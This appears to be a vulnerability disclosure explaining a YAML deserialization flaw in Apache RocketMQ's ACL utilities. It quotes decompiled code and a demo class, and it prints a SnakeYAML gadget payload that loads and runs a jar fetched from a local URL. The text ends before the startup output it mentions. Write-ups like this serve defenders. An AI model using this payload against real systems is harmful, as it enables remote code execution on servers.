

Apache RocketMQ YAML Deserialization Vulnerability

The use of yaml for deserialization in RocketMQ makes the system vulnerable to serious yaml deserialization attacks. Due to the user's ability to manipulate parameters, once the user successfully utilizes the component, it may lead to catastrophic consequences. Users may suffer significant losses such as loss of server permissions, causing significant harm to the system.

Vulnerability analysis

In Org/apache/rocketmq/acl/common/AclUtils. class: In line 238

```
231 public static <T> T getYamlDataObject(String path, Class<T> clazz) {
232     try {
233         FileInputStream fis = new FileInputStream(path);
234         Throwable var3 = null;
235
236         Object var4;
237         try {
238             var4 = getYamlDataObject((InputStream) fis, clazz);
239         } catch (Throwable var15) {
240             var3 = var15;
241             throw var15;
242         } finally {
243             if (fis != null) {
244                 if (var3 != null) {
245                     try {
246                         fis.close();
247                     } catch (Throwable var14) {
248                         var3.addSuppressed(var14);
249                     }
250                 } else {
251                     fis.close();
252                 }
253             }
254         }
255     }
256
257     return var4;
258 } catch (FileNotFoundException var17) {
```

Call the getYamlDataObject overload method, where the input stream and its class object are passed in, and call the yaml.loadAs() method at line 269 to execute and return.

```
265 public static <T> T getYamlDataObject(InputStream fis, Class<T> clazz) {
266     Yaml yaml = new Yaml();
267
268     try {
269         return yaml.loadAs(fis, clazz);
270     } catch (Exception var4) {
271         throw new AclException(var4.getMessage(), var4);
272     }
273 }
274
```

The parameters are externally controllable and there is a exploit chain, which poses a vulnerability.

Recurrence of vulnerabilities

As shown in the following figure, write a demo:

```
1 package rocketmq;
2
3 import java.io.FileNotFoundException;
4
5 import static org.apache.rocketmq.acl.common.AclUtils.getYamlDataObject;
6
7
8 //@RestController
9 public class RocketmqYaml {
10
11     public static void main(String[] args) throws FileNotFoundException {
12         String str = System.getProperty("user.dir") + "\\1.txt";
13         Person yamlDataObject = getYamlDataObject(str, Person.class);
14         System.out.println(yamlDataObject);
15     }
16
17 }
18
19
```

The demo is as follows, mainly reading the payload of 1. txt and calling the getYamlDataObject () method for deserialization vulnerability attacks.

```
public class RocketmqYaml {

    public static void main(String[] args) throws FileNotFoundException {
        String str = System.getProperty("user.dir") + "\\1.txt";
        Person yamlDataObject = getYamlDataObject(str, Person.class);
        System.out.println(yamlDataObject);
    }

}
```

The content in txt is as follows:

```
address: {ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader
[!!java.net.URL ["http://127.0.0.1:80/yaml.jar"]]]]}
```

The startup is as follows, with vulnerabilities and defects present:

